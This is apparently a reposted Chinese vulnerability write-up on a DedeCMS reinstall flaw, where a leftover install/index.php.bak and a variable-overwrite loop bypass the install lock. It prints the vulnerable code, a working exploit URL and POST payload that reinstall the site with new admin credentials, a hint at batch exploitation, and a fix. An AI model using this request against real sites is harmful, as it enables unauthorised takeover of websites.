这个重装漏洞的危害大家应该也知道,我就不多说了,估计又要一批站躺枪了,利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。

利用截图:

\

Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成执行的。

看看/install/index.php.bak代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$verMsg
=
' V5.7 GBKSP1'
;
$s_lang
=
'gb2312'
;
$dfDbname
=
'dedecmsv57gbksp1'
;
$errmsg
=
''
;
$install_demo_name
=
'dedev57demo.txt'
;
$insLockfile
= dirname(
__FILE__
)。
'/install_lock.txt'
;
$moduleCacheFile
= dirname(
__FILE__
)。
'/modules.tmp.inc'
;
define(
'DEDEINC'
,dirname(
__FILE__
)。
'//include'
);
define(
'DEDEDATA'
,dirname(
__FILE__
)。
'//data'
);
define(
'DEDEROOT'
,preg_replace(
"#[\\\\\/]install#"
,
''
, dirname(
__FILE__
)));
header(
"Content-Type: text/html; charset={$s_lang}"
);
require_once
(DEDEROOT.
'/install/install.inc.php'
);
require_once
(DEDEINC.
'/zip.class.php'
);
foreach
(Array(
'_GET'
,
'_POST'
,
'_COOKIE'
as
$_request
{
foreach
($
$_request
as
$_k
=>
$_v
) ${
$_k
} = RunMagicQuotes(
$_v
);
}
require_once
(DEDEINC.
'/common.func.php'
);
if
file_exists
$insLockfile
))
{
exit
" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!"
);
}
if
empty
$step
))
{
$step
= 1;
}

其中$insLockfile = dirname(__FILE__)。’/install_lock.txt’;是安装锁文件。在下面的

if(file_exists($insLockfile)){exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");}

这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,

关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。

foreach(Array('_GET','_POST','_COOKIE') as $_request){foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);}

这个是注册变量,如果存在变量就直接覆盖了。

所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。

利用演示:

直接POST数据到这个URL

http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4

就OK了

\

POST数据:

step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms

其中的dbhost啥的东西自己改改吧,

提交数据包。效果如下

\

重装了……我是良民

批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。

解决方式:

删除install/install.php.bak 或者 改名为install/install.bak

以上是从网络上摘录的,其实要利用这个漏洞并不是那么容易,这边就涉及到了两个地方需要我们自己去通过别的途径是获取,一个就是该网站的数据库帐号和密码,另一个就是该网站的数据库名,否则就算你重新安装了也是不可能覆盖掉以前的数据库的,只能说是重新在该服务器上面创建了一个数据库,其实要获取到网站的数据库帐号和密码还是具有一定的难度的。不知道说得对不对,不对的可以指出,一起讨论一起进步。